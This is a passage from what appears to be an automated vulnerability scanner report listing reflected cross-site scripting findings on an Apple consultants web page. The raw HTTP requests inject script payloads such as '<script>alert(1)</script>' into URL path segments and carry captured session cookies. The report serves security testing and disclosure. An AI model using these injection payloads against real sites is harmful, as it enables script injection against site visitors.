User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:41 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:41 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15979

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images3ba50;alert(1)//dc0300b264/top-split.gif" class="search" id="g-search">
...[SNIP]...

1.34. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 43a6a%3balert(1)//5e5bfa450ed was submitted in the REST URL parameter 4. This input was echoed as 43a6a;alert(1)//5e5bfa450ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif43a6a%3balert(1)//5e5bfa450ed HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15980

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/top-split.gif43a6a;alert(1)//5e5bfa450ed" class="search" id="g-search">
...[SNIP]...

1.35. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70d13"><script>alert(1)</script>f936b9b6237 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/70d13"><script>alert(1)</script>f936b9b6237/includes/consultants.css HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15960

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/70d13"><script>alert(1)</script>f936b9b6237/includes/consultants.css" class="search" id="g-search">
...[SNIP]...

1.36. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7a59d%3balert(1)//f7bda40cea7 was submitted in the REST URL parameter 2. This input was echoed as 7a59d;alert(1)//f7bda40cea7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C7a59d%3balert(1)//f7bda40cea7/includes/consultants.css HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:40 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:40 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<7a59d;alert(1)//f7bda40cea7/includes/consultants.css" class="search" id="g-search">
...[SNIP]...

1.37. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6f403%3balert(1)//83b96c8fea7 was submitted in the REST URL parameter 3. This input was echoed as 6f403;alert(1)//83b96c8fea7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes6f403%3balert(1)//83b96c8fea7/consultants.css HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:42 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:42 GMT
MS-Author-Via: DAV
